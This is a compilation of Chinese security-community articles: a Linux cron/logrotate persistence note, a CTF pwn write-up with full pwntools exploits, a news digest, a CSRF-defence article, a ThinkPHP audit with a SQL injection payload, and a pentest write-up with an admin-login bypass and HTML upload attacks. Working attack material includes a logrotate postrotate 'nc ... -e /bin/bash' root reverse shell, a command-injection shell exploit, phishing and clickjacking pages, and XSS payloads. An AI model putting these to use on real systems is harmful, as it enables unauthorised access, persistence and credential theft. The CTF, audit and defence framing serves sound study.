/etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly，/etc/anacrontab
其中容易忽视的就是/etc/anacrontab
在CentOS6下我们做个测试：
编辑/etc/anacrontab
修改RANDOM_DELAY=1
添加1 1 cron.test echo 1 >> /tmp/1.txt
[root@localhost cron.weekly]# /usr/sbin/anacron -s
等待一分多钟后，可以看到
[root@localhost cron.weekly]# cat /var/spool/anacron/cron.test
20170719
[root@localhost cron.weekly]# cat /tmp/1.txt
1
另外还需要注意Logrotate配置
在CentOS6中/etc/cron.daily/logrotate每小时执行一次。
[root@server120 logrotate.d]# cat /etc/cron.daily/logrotate
#!/bin/sh
/usr/sbin/logrotate /etc/logrotate.conf >/dev/null 2>&1
EXITVALUE=$?
if [ $EXITVALUE != 0 ]; then
/usr/bin/logger -t logrotate "ALERT exited abnormally with [$EXITVALUE]"
fi
exit 0
配置文件为/etc/logrotate.conf。
logrotate可以执行命令，例如来看一下：
[root@server120 logrotate.d]# cat /etc/logrotate.d/httpd
/var/log/httpd/*log {
missingok
notifempty
sharedscripts
delaycompress
postrotate
/sbin/service httpd reload > /dev/null 2>/dev/null || true
endscript
}
其中postrotate表示日志轮询之后，这里是自动重启Httpd服务。
另外还有prerotate表示在日志轮询之前。
比如/etc/logrotate.d下新建一个test
[root@server120 logrotate.d]# cat /etc/logrotate.d/test
/tmp/base3306.log {
daily
missingok
size = 5
notifempty
sharedscripts
delaycompress
postrotate
nc 192.168.192.144 2345 -e /bin/bash
endscript
}
然后我们手工执行一下
/usr/sbin/logrotate /etc/logrotate.conf
192.168.192.144：
[root@server144 ~]# nc -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:54178
whoami
root | 社区文章 |
# 安恒杯2019年2月月赛pwn部分详细分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
开学了,利用月赛练练手还是不错的<^_^>
第一题知识点: 二进制程序的命令执行漏洞
## 一. 程序逆向分析
1.查看开启了哪些保护:
➜ ~ checksec filesystem
[*] '/root/filesystem'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以发现只开起了canary和nx保护.
2.main函数分析
打开ida ,来到地址: 0x000000000400DB3, 这就是main函数地址, 按f5反编译查看源码:
其中init_()是被我重命名了的函数, 进行发现只是设置stdin,stdout和stderr为无缓冲模式,这样进行io操作不会在堆上分配缓冲区.
进行第二个while循环,首先puts一系列字符串, 重命名为menu.menu最后获取我们的输入:
然后比较输入和Create,Edit,Read,Checksec,Exit进行比较,从而执行对应的操作.
3.Create操作
允许最多创建0x10个所谓的file, 前0x30存放filename,后0x60存放filecontent(后面分析edit可知).
这些file存放在一个全局结构数组中, 首地址为
0x6020e0, 在ida跟进发现是个未初始化的全局变量.
4.Edit操作如下:
首先获取要编辑的file的id,这个id对应于全局结构体数组的下标,通过read函数从改结构体缓冲区的+0x30的位置开始read我们的输入,大小为0x60.
并将最后一个字符置x00.
5.Read操作就是根据输入的id输出file的filename和filecontent,比较简单
6.Checksec操作是本题的重头戏:
通过逆向得知,首先输入index,然后通过snprintf将filecontent格式化写入到局部缓冲区s中,没有任何检查就作为system的参数进行调用了.
我是通过绕过这里的字符串进行getshell的.
snprintf的功能是将第4个及以后的参数作为可变参数输入到第3个format字符串中,并将结果保存到第一个参数s中,最多0x80个字节(第二个参数).
最终的命令是:
echo “our_input” | md5sum our_input表示我们的输入, 在这里我们可以在linux终端下测试:
随便输入一些内容,比如abcd:
结果输出了abcd的md5值,
想到sql注入的双引号绕过:
发现还是不行
后来想到了;可以隔离多条命令,于是输入: “; /bin/sh ; “
果然执行了shell, 于是赶紧写出exp测试一下:
7.exp:
from pwn import *
#p = process('./filesystem')
p = remote('101.71.29.5', 10017)
print p.recvuntil('> ')
p.sendline('Create')
print p.recvuntil('Input Filename: ')
p.sendline('aaaaa')
print p.recvuntil('> ')
p.sendline('Edit')
print p.recvuntil('Input the Index:')
p.sendline('0')
print p.recvuntil('Input File Content: ')
p.sendline('"; /bin/sh ; "')
print p.recvuntil('> ')
p.sendline('Checksec')
print p.recvuntil('Input the Index:')
p.sendline('0')
p.interactive()
[*] Switching to interactive mode
id
/bin/sh: 1: id: not found
whoami
/bin/sh: 2: whoami: not found
ls
bin
dev
filesystem
flag.txt
lib
lib32
lib64
cat flag.txt
flag{7ee688b3ad2b8e2546d8bcdc62cdd03f}
## 二. hackmoon
第二题知识点: uaf, fastbin double free, unsorted_bin 泄露libc基址
1.安全检查
➜ ~ checksec hackmoon
[*] '/root/hackmoon'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
没有开始pie,很nice
2.main逆向分析
这道题的逻辑还是比较简单的, 首先对stdou和stdin设置无缓冲,防止他们对堆的干扰.
然后puts一系列字符串,即为menu. 然后读取输入的操作序号选择某个操作,再执行对应函数
3.add_moon逆向分析
发现可以对moonlist写入5次,也就是最多可以add5个moon.
遍历moonlist找到第一个不为0的成员,分配一个8字节内存给它,然后对这个内存的前4字节设置为一个函数指针,
后4字节设置为分配的新内存的地址,最后填入数据到这个地址中.
从这里可以看出, moonlist是一个全局结构体数组, 结构体定义大致如下:
struct moon{
void * print_moon_content;
char* moonContent;
};
4.del_moon逆向分析:
还是先获取全局数组moonlist的index,然后先对moon的moonContent堆内存进行释放,然后释放moon自己,
但是并没有对这2个指针置NULL,这是导致漏洞的关键因素.
5.print_moon逆向分析
还是先获取全局数组moonlist的index, 判断moon指针是否为0,不为0则调用第一个成员(函数指针)对自己进行打印:
其实就是puts了moon的moonContent成员字符串.
6.漏洞分析
首先通过申请一个0x80的moon,然后删除,再申请,这样第二次的moonContent内容和第一次的重叠,
**由于第一次的moonContent释放会被放入unsorted bin,再次申请后上面还有2个指向unsorted bin的指针数据残留,
于是通过print_moon进行泄露出unsorted bin地址,通过计算可以得到libc基址**
申请2次0x20大小的moon, 再依次删除,这样fast bin 链入2个数据域大小为8字节的chunk和链入2个数据域0x20大小的chunk,
再申请一个0x8大小的moon,会从fast bin把那2个8字节的chunk给他, 于是就可以控制第一个0x20大小的moon结构体的内容了,
**通过将其存放print_moon函数指针的内存改为存放system的地址, 再改存放moonContent的内存为;shx00,**
当执行print_moon的时候其实执行了system,而且参数时 system_addr;shx00,
这样的思路本来是识别不了;前面的system_addr命令,但是;隔开2条命令是可以执行sh的. 这样的思路没错, 可是题目没有给libc,
就算泄露了libc基址也不知道libc版本. 我在这里想了想, 又翻了下程序发现有个magic函数,我们直接执行这个函数不就可以获取flag了:
7.exp:
from pwn import *
#p = process('./hackmoon')
p = remote('101.71.29.5',10016)
elf = ELF('./hackmoon')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def add(size, content):
print p.recvuntil('Your choice :')
p.sendline('1')
print p.recvuntil('moon size :')
p.sendline(str(size))
print p.recvuntil('Content :')
p.send(content)
def delete(index, ):
print p.recvuntil('Your choice :')
p.sendline('2')
print p.recvuntil('Index :')
p.sendline(str(index))
print p.recvuntil('Successn')
return
def print_(index):
print p.recvuntil('Your choice :')
p.sendline('3')
print p.recvuntil('Index :')
p.sendline(str(index))
return
add(0x80,'000000')
add(0x20,'1111111') #防止删除后与top chunk合并
delete(0)
add(0x80,'2222')
#泄露unsorted bin 地址
print_(2)
print p.recvuntil('2222')
unsorted_bin = p.recv(4)
unsorted_bin = u32(unsorted_bin)
print 'unsorted_bin: ',hex(unsorted_bin)
libc_base = unsorted_bin - 0x1b27b0 #计算得到libc 基址
print 'libc_base: ', hex(libc_base)
system_addr = 0x08048994#libc_base+libc.sym['system']
get_flag = 0x8048986 #magic函数地址
add(0x20,'333')
delete(1)
delete(3)
add(0x8,p32(get_flag)+';shx00')#这里实际上修改了index为1的moon结构数据
#gdb.attach(p,'b *%s' % system_addr)
print_(1)
p.interactive()
[*] Switching to interactive mode
ls
bin
dev
flag.txt
hackmoon
lib
lib32
lib64
cat flag.txt
flag{1dc8f4dc0a39f4d4935a0cf1e0d10811} | 社区文章 |
# 2月24日安全热点 - Drupal修复多个严重漏洞/Chaos 后门再现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
美国边境官员十多年来未对访客的护照进行密码验证
<http://www.zdnet.com/article/us-border-officials-havent-been-properly-verifying-visitor-passports-for-over-a-decade/>
<https://www.bleepingcomputer.com/news/government/us-border-agents-didnt-verify-any-e-passports-since-2007-because-they-didnt-have-the-software/>
Drupal修补关键的CMS漏洞
<http://www.zdnet.com/article/drupal-patches-critical-cms-vulnerabilities/>
<https://www.drupal.org/SA-CORE-2018-001>
Mirai变种”OMG”在易受攻击的设备上设置代理服务器
<http://securityaffairs.co/wordpress/69449/malware/omg-botnet.html>
<https://blog.fortinet.com/2018/02/21/omg-mirai-based-bot-turns-iot-devices-into-proxy-servers5a8e05ccc4f85>
安防不力的Linux 服务器正在遭 Chaos 后门感染
<http://securityaffairs.co/wordpress/69459/hacking/chaos-backdoor.html>
> [Chaos: a Stolen Backdoor Rising
> Again](http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/)
Terraform Provider for PAN-OS Now Available
<https://researchcenter.paloaltonetworks.com/2018/02/terraform-provider-pan-os-now-available/>
## 技术类
中间件安全-Tomcat安全测试概要
<https://mp.weixin.qq.com/s/_-AtrbMNROUFRbaime3NrA>
npm 5.7.0之前版本在执行 sudo npm –help 等命令时会随机修改 /etc /usr /boot 等目录的属主权限
<https://github.com/npm/npm/issues/19883>
OilRig利用 ThreeDollars传播新木马
<https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/>
Avzhan DDoS bot深入介绍及样本分析
<https://blog.malwarebytes.com/threat-analysis/2018/02/avzhan-ddos-bot-dropped-by-chinese-drive-by-attack/>
企业安全项目-短信验证码安全
<https://mp.weixin.qq.com/s/sy-ti0QzESnOKfg-WUCYWA>
ASLR新的绕过和保护技巧分享
<http://blog.ptsecurity.com/2018/02/new-bypass-and-protection-techniques.html>
控制流程完整性：一种Javascript混淆技术
[https://marcoramilli.blogspot.hk/2018/02/control-flow-integrity-javascript.html](https://marcoramilli.blogspot.hk/2018/02/control-flow-integrity-javascript.html?utm_source=securitydailynews.com)
使用Azure安全中心检测Kerberoasting活动
> [Detecting Kerberoasting activity using Azure Security
> Center](https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-> kerberoasting-activity-using-azure-security-center/)
Storage Access API
[https://webkit.org/blog/8124/introducing-storage-access-api](https://webkit.org/blog/8124/introducing-storage-access-api/?utm_source=securitydailynews.com)
Pwn2own: V8 – isolate control via function deoptimization
<https://bugs.chromium.org/p/chromium/issues/detail>
PowerShell混淆器
<https://github.com/danielbohannon/Invoke-Obfuscation>
Dependency-Track——智能软件组合分析（SCA）平台
<https://github.com/stevespringett/dependency-track>
色情文章检测工具
<http://yudake.xin/articles/2018/02/22/1519289676946.html> | 社区文章 |
# 【技术分享】让我们一起来消灭CSRF跨站请求伪造（下）
|
##### 译文声明
本文是翻译文章，文章来源：medium.com
原文地址：<https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**【技术分享】让我们一起来消灭CSRF跨站请求伪造（上）**](http://bobao.360.cn/learning/detail/4602.html)
**
**
**写在前面的话**
在本系列文章的上集中，我们跟大家介绍了关于CSRF的一些基本概念，并对常见的几种CSRF漏洞类型进行了讲解。那么接下来，我们就要跟大家讨论一下如何才能消灭CSRF。
**
**
**现代保护机制**
实际上，通过修改应用程序源代码来实现CSRF保护在很多情况下是不现实的，要么就是源代码无法获取，要么就是修改应用程序的风险太高了。但我们所设计的解决方案可以轻松地部署到RASP、WAF、反向代理或均衡负载器中，并且可以同时保护一个或多个配置相同的应用程序。
首先我们要知道，正确地使用安全或不安全的HTTP
verb是非常重要的。虽然这一点并不能构成一个有效的解决方案，但它是另外两种方法实现的基础。在构建应用程序之前，我们需要对其进行架构设计。幸运的是，大多数现代Web框架都有路由的概念，并且可以强制让节点与HTTP
verb配对。在现代框架中，带有错误verb的请求将会导致错误的产生。如果你的应用程序中不能实现这种机制的话，请继续往下看。
另一种方法是验证请求的发送源，这种方法可以确保发送给应用程序的请求来自于一个受信任的源。在这里，正确使用HTTP
verb同样是非常重要的，如果我们假设只有改变状态的请求会来自于不安全的请求，那我们就只需要对不安全的请求源进行验证就可以了。但正如我们之前所讨论的，在验证源的可靠性时我们还会遇到很多的问题。其中的一种解决方案是创建一个安全URL白名单，这样就可以防止来自外部源的CSRF。
第三种方法，也是最常见的方法，即使用令牌Token。令牌本身有多种形式，但大多数使用的都是同步器令牌（synchronizer
token）。说得更加详细一点，这种令牌主要分为“双提交令牌”以及“加密令牌”。事实证明，结合使用双提交令牌以及加密令牌可以提供最好的安全性。
简单说来，所谓的同步器令牌，就是服务器和浏览器之间需要同步一个令牌（唯一的）。安全的请求方法会返回一个令牌，当浏览器在发送请求时会携带这个令牌，而服务器在处理请求之前，会验证令牌的有效性。处理完请求之后，服务器还会提供一个新的令牌以保证之前的令牌无法继续使用（防止重放攻击）。此时，攻击者将无法访问到令牌或者将其插入到恶意请求之中，因为如果攻击者想这样做的话，他必须要强迫目标用户向远程网站发送请求并访问请求内容，但SOP可以防止这种情况的发生。这样一来，攻击者所能使用的最后一种方法就是利用目标程序可能存在的XSS漏洞了。
需要注意的是，令牌主要有四个部分（一个随机数，用户识别符，过期时间以及真实性验证信息）组成，因此保持其“整体完整性”就非常重要了，其中缺少任何一项都将导致令牌的安全性大打折扣。
在令牌机制的实现过程中，有两个方面我们需要仔细斟酌，即服务器端和客户端。其中，服务器端负责生成和验证令牌，而客户端负责向需要请求资源的服务器发送令牌。需要注意的是，大家绝对有必要为每一个请求生成一个新的令牌，即使这样会牺牲一定的性能。除此之外，你也可以在cookie中添加令牌，但你需要确保cookie没有使用HttpOnly标记。下面这段简单的示例代码是生成令牌的常用方法：
String generateToken(int userId, int key) {
byte[16] data = random()
expires = time() + 3600
raw = hex(data) + "-" + userId + "-" + expires
signature = hmac(sha256, raw, key)
return raw + "-" + signature
}
大家可以从上面这段代码中看到组成令牌的那四个部分。其中，HMAC是用于验证前三个元素有效性的令牌，并最终会添加到raw的结尾。
bool validateToken(token, user) {
parts = token.split("-")
str = parts[0] + "-" + parts[1] + "-" + parts[2]
generated = hmac(sha256, str, key)
if !constantCompare(generated, parts[3]) {
return false
}
if parts[2] < time() {
return false
}
if parts[1] != user {
return false
}
return true
}
上面这段示例代码演示的是验证和计算令牌有效性的常用方法。首先我们需要将令牌拆分成它的四个组成部分，然后第一步就是利用前三个部分生成并验证HMAC的有效性（与之前的HMAC进行对比）。对比时间一定要确保使用的是固定时间，这样可以避免基于时间的攻击。如果验证成功，我们接下来就要确保令牌没有过期，最后进行用户匹配。但在真实场景中，最麻烦的事情就是让用户的浏览器在发送所有请求时自动提交令牌。
实际上在开发应用的过程中，绝大多数的现代框架都已经帮我们搞定这一切了。框架库可以处理XHR，并将令牌自动插入到请求信息（包括表单）中。但是如果框架没有帮我们实现的话，我们也可以自己实现这种功能。这一步主要可以分为两个部分，一个是处理表单提交，另一个是处理XHR。下面这段示例代码可以处理onclick事件回调：
var target = evt.target;
while (target !== null) {
if (target.nodeName === 'A' || target.nodeName ===
'INPUT' || target.nodeName === 'BUTTON') {
break;
}
target = target.parentNode;
}
// We didn't find any of the delegates, bail out
if (target === null) {
return;
}
我们可以将这段代码添加到文档中，而不是添加到单独的表单或可点击的元素之中，因为很有可能表单或元素根本就不存在与页面DOM之中。我们所指的元素是用户可以点击的东西，由于DOM树的结构以及事件处理系统的不同，所以我们要寻找的是那种可以提交表单的元素，例如input或button标签。
接下来，我们可以检测一个标签是否为input标签。如果它是，那么我们就可以确保这里有一个提交按钮了。当我们验证提交事件已经被触发之后，我们就可以继续搜索DOM树并寻找form标签了。如果找遍了DOM树却没有找到form标签，那么就说明元素没有被提交，除非它使用了XHR。找到form标签之后，最后一步就是将令牌以一个隐藏input元素添加到表单之中，即创建一个新的元素并将其添加到表单。
var token =
form.querySelector('input[name="csrf_token"]');
var tokenValue = getCookieValue('CSRF-TOKEN');
if (token !== undefined && token !== null) {
if (token.value !== tokenValue) {
token.value = tokenValue;
}
return;
}
var newToken = document.createElement('input');
newToken.setAttribute('type', 'hidden');
newToken.setAttribute('name', 'csrf_token');
newToken.setAttribute('value', tokenValue);
form.appendChild(newToken);
对于那些并非基于表单的请求，我们就需要想办法将令牌插入到XHR请求之中了。大多数代码库都提供了相关的抽象方法，包括jQuery，但我们需要针对标准XHR
API创建我们自己的函数钩子。通过利用JavaScript的原型继承机制以及动态特性，我们可以直接将原始的发送方法添加到对象之中，这样我们就可以随时调用这些方法了。接下来，我们需要创建一个新的函数并将令牌插入到cookie中，然后再在请求信息中添加一个带值的header。
不过需要注意的是，对于IE浏览器，我们所设计的这种方法只适用于IE 8及其以上版本的IE浏览器，因为这些版本才支持方法原型和XHR，虽然IE
支持XHR但并不支持方法原型。具体的浏览器支持情况如下图所示：
**
**
**总结**
在本系列文章中，我们跟大家介绍了关于CSRF的一些基本概念，并对常见的几种CSRF漏洞类型进行了讲解。除此之外，我们还给大家提供了一些用于对付CSRF漏洞的最佳实践方法。这里我给大家推荐一款名叫Same-Site的扩展插件，它可以帮助我们对cookie进行检测，并对浏览器所发送的cookie进行严格的安全限制。这款插件的浏览器支持情况如下图所示： | 社区文章 |
# 前言
最近想加强各种web的审计，刚好有朋友抛出了一套基于thinkphp5.1开发的代码，就借此机会看一次。下载源码按照教程安装，瞎点点看看功能，开始审计。
# 开始
thinkphp的系统代码结构一般大同小异，这里需要去看thinkphp的开发文档，这里重点关注application（主程序）,puiblic(公开)文件夹，这是一个多应用系统，托thinkphp的福，代码很容易就能看懂理清楚。
## 失败的文件上传测试
**/index/controller/upload.php**
这是图片上传代码片段，很明显是一个白名单的拦截，文件上传也同样使用了白名单
还有一个音频上传接口，这里直接把文件重命名了，没有中间件解析漏洞配合的话，文件上传漏洞因该是没有的
## sql注入
全局搜索sql查询语句，如query,$sql，select(,where(等，尝试找一找在where字段直接进行拼接或使用原始sql查询语句的代码，找到两处，一个一个看
### 第一处
这里直接将参数拼接到了sql语句里，然后执行db->query(),流程中没有涉及到参数过滤，尝试找一下注入。它是一个私有函数，需要去找调用点，全局搜索census()函数调用
可以看到，传入的参数并不受用户控制，无法注入
### 第二处
**/seller/model/chat.php**
**/seller/controller/log.php**
这个sql语句也是直接拼接，但语句构造过程很复杂，为了偷懒，这里选择直接去看数据库查询日志，看看拼接到最后是个什么查询语句。找到函数调用的接口，路由在/seller/log/getChatLogDetail，发起请求
查询数据库搜索日志
由于from_id和to_id都被用了两次，而且在构造时还有换行，不太好拼接注释，所以尝试在content位置尝试like型注入。发包
注入成功，查看查询日志，可以看到%' or 1=1#已经拼接上了没有被处理，造成了sql注入。
## 任意文件读取
**/seller/controller/words.php**
全局搜索file_put_contents和file_get_content,可以看到这里从项目根目录读取文件，路径由 **words** 参数传入
构造请求并查看数据库
可以看到，文件内容已经入库
可以通过注入或者进入该页面查看读取到的文件
## 插件和thinkphp历史漏洞
/public/static/common/js/ueditor
这里使用了ueditor插件，直接访问查看帮助，使用的版本是1.4.3（这个版本只有asp下有漏洞,php无法绕过后缀过滤）。另外thinkphp5.1有一个反序列化漏洞，但全局搜索后未调用unserialize()函数，因此并不能利用这个漏洞。至此，整个审计流程结束（流程本应包含对命令执行函数，文件包含等代码的审计，但由于过程中没有收获，这里就不放出来）。 | 社区文章 |
# 通过前端JS到后台文件上传html实战
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面
这篇文章主要是通过前端JS来寻找接口进行测试，寻找漏洞成功进入后台后，进行后台文件上传html。仅供学习。
## 过程
### 前端JS进入后台
某日拿到授权站点，开始漫长的信息收集……
收集了许久，找到了一个后台，可惜用了许多方法都无法渗透进去。就在一筹莫展之际，突然想到了一些师傅通过前端JS寻找接口的骚操作，这里开始跃跃欲试。F12点击`Sources`，成功寻找到了`userlogin.js`。开始了一波小审计后，审计到了一些接口并进行测试访问，得到了些许收获：
本来正常访问后台`http://x.x.x.x/admin/login.action`登陆的时候，不仅需要用户名和密码，还需要验证码，这样就无法进行暴力破解：
可是这里找到了该接口：`/admin/adminlogin.action`，访问后验证码居然消失了，登陆只需要用户名和密码，那么这里便可以直接暴力破解了：
[](https://p1.ssl.qhimg.com/t01147fe9cd7215be03.png)
还收获了两个接口，其中存在有参数`jsoncallback`，这里便可能存在jsonp劫持、jsonp注入以及xss等等漏洞了。
[](https://p1.ssl.qhimg.com/t012f377efa2ce890bd.png)
[](https://p3.ssl.qhimg.com/t0153a62ddee8edd185.png)
还有一处接口，则是`/web/weblogin.action?token=`。凭借平常的摸鱼经验，猜测这里token值将会被记录到cookie里。而cookie可以用来辨别用户身份信息，再加上之前有碰到过直接在cookie中存储明文数据的情况，抱着碰碰运气的想法，这里直接在其后面写上`admin`，即`/web/weblogin.action?token=admin`，没想到竟意外成功登录进后台，且是超级管理员权限。
[](https://p4.ssl.qhimg.com/t011c3ad1232e1b2b90.png)
这里为了验证刚才的想法是否是正确的，便按下F12查看`Application`中的cookie值：
[](https://p0.ssl.qhimg.com/t016c8c67898a275fbf.png)
确实如此。哈哈，运气也太好了~
[](https://p5.ssl.qhimg.com/t01871b24490daed539.png)
验证过后，这里点击切换账号，发现还有几个用户，但是切换过去需要密码：
[](https://p4.ssl.qhimg.com/t01f07ee56325e4c234.png)
[](https://p2.ssl.qhimg.com/t01432db578f11886cd.png)
这里随机选中其中一个用户：
[](https://p2.ssl.qhimg.com/t01524a761778be25ce.png)
看到其用户名称为`xxx`，用户代码为`180***`，这里便测试将token的值从`admin`分别修改为用户名称`xxx`和用户代码`180***`，都可以直接成功切换为该用户了：
[](https://p0.ssl.qhimg.com/t01e5ac802743d874ae.png)
依次测试，最后都能成功，故使token值为用户名称或者用户代码，最后均可直接登陆为该用户。
### 后台文件上传html
前面成功进入了后台，还是超级管理员权限，那么这里就来找找有没有可利用的文件上传的点。这里找了好几个，别说服务器端脚本木马了，就连html、htm这种后缀都不能上传。最后找到了一个也只可以上传html、htm这种后缀。那么这里可以利用的点就是文件上传xss、上传点击劫持页面、挂黑页等危害了。
这里先来简单介绍下吧：
**介绍**
文件上传漏洞是一个很经典的漏洞，同时也十分的严重。文件上传漏洞通常由于代码中对文件上传功能所上传的文件过滤不严或web服务器相关解析漏洞未修复而造成的，如果文件上传功能代码没有严格限制和验证用户上传的文件后缀、类型等，攻击者可通过文件上传点上传任意文件，包括网站后门文件（webshell）控制整个网站。
那么这里来讲讲文件上传漏洞上传html文件并解析的问题。
**文件上传漏洞上传html文件**
文件上传漏洞中我们一般都是上传对应网站能解析的服务器文件木马，比如php、asp、jsp等等后缀文件木马，以此达到控制整个网站的目的。但是现在很多网站都对文件上传漏洞上传木马防的很死，让我们无法下手。那么这时，我们也可以来通过上传html文件来扩大我们的攻击面。这里来介绍几种方法：
**挂黑页**
相信有炫技经验的师傅们一定可以想到，当我们在某个网站不能成功GetShell的时候，而又想要通过某种方法从而来达到炫技的目的，那么使用的方法是什么呢？没错，那就是挂黑页，一般使用的是`CSS层叠样式表`。
代码：
<html>
<head>
<meta charset="UTF-8">
</head>
<table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;">
<tbody>
<tr>
<td style="color:#FFFFFF;z-index: 6000;vertical-align:top;">
<h1>hacked by Johnson666</h1>
</td>
</tr>
</tbody>
</table>
</html>
效果：
[](https://p3.ssl.qhimg.com/t015c2ccac3023006a7.png)
是不是还挺有成就感~
这里如果开头加上了`<!DOCTYPE html>`，字会到下一行，看自己的需求吧：
[](https://p2.ssl.qhimg.com/t01009837ab06a0a936.png)
**制作form表单钓鱼攻击页面**
除了可以炫技来挂黑页以外，`CSS层叠样式表`可以做的东西还有很多，比如说这个form表单钓鱼攻击页面：
代码：
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
</head>
<table+style="left:+0px;+top:+0px;+position:+fixed;z-index:+5000;position:absolute;width:100%;background-color:white;">
<tr>
<td>
<form action="http://192.168.1.6/diaoyu/404.html" method="post">
账号：<input type="text" name="username"><br>
密码：<input type="password" name="password"><br>
<input type="submit" value="登录" name="Login">
</form>
</td>
</tr>
</table>
</html>
效果：
[](https://p4.ssl.qhimg.com/t0117872af9a64cb4e8.png)
随便输入账号密码，点击登录，跳转到了404界面：
[](https://p0.ssl.qhimg.com/t013372a5f83183606b.png)
**制作点击劫持页面**
点击劫持(ClickJacking)是一种视觉欺骗攻击手段，在web端就是`iframe`嵌套一个透明不可见的页面，让用户在不知情(被欺骗)的情况下，点击攻击者想要欺骗用户点击的位置。这种攻击利用了HTML中`<iframe>`标签的透明属性。就像一张图片上面铺了一层透明的纸一样，你看到的是黑客的页面，但是其实这个页面只是在底部，而你真正点击的是被黑客透明化的另一个网页。
其中很多属性的解释在代码中有用注释标明了。那么这里来讲讲其中没有注释的CSS中的position的属性。看如下这张图：
[](https://p0.ssl.qhimg.com/t013927e6a94758d908.png)
制作代码：
<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>点击劫持制作</title>
<style>
iframe {
width: 1920px;
height: 1200px;
position: absolute;
top: 0px;
left: 0px;
z-index: 2; //设置元素的堆叠顺序。拥有更高堆叠顺序的元素总是会处于堆叠顺序较低的元素的前面。简单的说就是利用这个属性可以把一段文字置于一张图片之上,或者把图片置于文字之上,只要设置好合适的优先级就可以了
/*控制不透明度的属性，兼容各大浏览器*/
filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/
-moz-opacity: 0; /*提供给火狐浏览器的*/
-webkit-opacity: 0; /*提供给webkit内核的*/
-khtml-opacity: 0; /*提供给KHTML内核的*/
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/
opacity: 0;
/*控制不透明度的属性，兼容各大浏览器*/
}
button {
position: absolute;
top: 345px; /*元素的顶部边缘,定义了一个定位元素的上外边距边界与其包含块上边界之间的偏移*/
left: 933px; /*元素的左边缘,定义了定位元素左外边距边界与其包含块左边界之间的偏移*/
z-index: 0; /*设置元素的堆叠顺序。拥有更高堆叠顺序的元素总是会处于堆叠顺序较低的元素的前面。简单的说就是利用这个属性可以把一段文字置于一张图片之上,或者把图片置于文字之上,只要设置好合适的优先级就可以了*/
width: 52.5166px;
height: 20.8px;
}
</style>
</head>
<body>
<button style='font-size:7px'>点击脱衣</button>
<img src="http://pic1.win4000.com/wallpaper/2018-03-19/5aaf2bf0122d2.jpg">
<iframe src="http://127.0.0.1/bachang/dvwa" scrolling="no"></iframe> /*用scrolling="no"使内嵌的网页不能滚动*/
</body>
</html>
结果：
[](https://p4.ssl.qhimg.com/t01a16d038497477f6e.png)
把其中`iframe`的`opacity`属性调成0.5，这样就能看出来下面其实是dvwa的登陆界面，而按钮对应的位置正好是dvwa的登陆按钮：
[](https://p1.ssl.qhimg.com/t01ac326a5a83b469c8.png)
这里可以自行替换成别的页面，比如点击跳转等等，就能起到更多更好的劫持的效果了。
**文件上传XSS**
文件上传的XSS一般都是上传html文件导致的XSS。一般使用的后缀名是`htm`后缀或者`html`后缀。
代码:
<html>
<body>
<img src=x onerror=alert(1)>
</body>
</html>
`html`后缀：
[](https://p0.ssl.qhimg.com/t01b84db22801c40b40.png)
`htm`后缀：
[](https://p5.ssl.qhimg.com/t011f0aad800b342bb9.png)
**一些简单的绕过方式：**
**1.后缀中加上空格：**
比如`ht m`后缀：
[](https://p1.ssl.qhimg.com/t01229fa95d0dbbc47c.png)
`ht ml`后缀：
[](https://p0.ssl.qhimg.com/t01982b283f4adac676.png)
**2.改成其他任意的不存在的后缀**
比如`pnga`：
[](https://p3.ssl.qhimg.com/t013adccbd4e7e7750c.png)
**3.添加Gif89a头部**
其实这是GIF89a图片欺骗攻击。在服务器中的源代码用`getimagesize`，`mime_content_type`,`Fileinfo`函数来获取图像信息，即检查文件内容时，在开头加GIF89a头部，可以对这些函数起到欺骗攻击。
如果验证了图片的内容，尝试添加:Gif89a，进行GIF89a图片欺骗攻击。不过也有些限制。比如用了Gif89a头：
[](https://p5.ssl.qhimg.com/t01251cdcaed8d3beb8.png)
那么其后缀名必须得是`htm`,`html`这样的规范后缀才能弹窗；而像`ht m`,`ht ml`或者随便乱取的不存在的后缀就不会弹窗了:
`htm`后缀,能弹窗：
[](https://p1.ssl.qhimg.com/t01947ead6e25cbe21b.png)
乱取的不存在的后缀,不会弹窗：
[](https://p1.ssl.qhimg.com/t01beca2a4b6b019b33.png)
**4.添加jpg头部绕过**
这里其实类似上面的gif欺骗攻击。直接用文件上传图片马制作工具edjpgcom，准备一张图片，然后拖进去，在框中放入xss的代码：
[](https://p5.ssl.qhimg.com/t01583d5dfaa195e176.png)
然后点击OK制作成功，这样xss的图片就有jpg头部了：
[](https://p1.ssl.qhimg.com/t01ca2dd814ebef3c61.png)
这里还可以用命令行形式来制作xss的图片：`copy 1.jpg/b + xss.html/a 2.jpg` 。
那么为什么不直接把代码插入到图片里，而是要用上面这样来制作xss的图片呢？因为这样打开的图片是正确的：
[](https://p4.ssl.qhimg.com/t0130f029cbca0f08ee.png)
而像下面这样直接把代码插入到图片里，图片会显示错误：
[](https://p0.ssl.qhimg.com/t013973794225a1d92c.png)[](https://p2.ssl.qhimg.com/t011ef27235a342bf43.png)
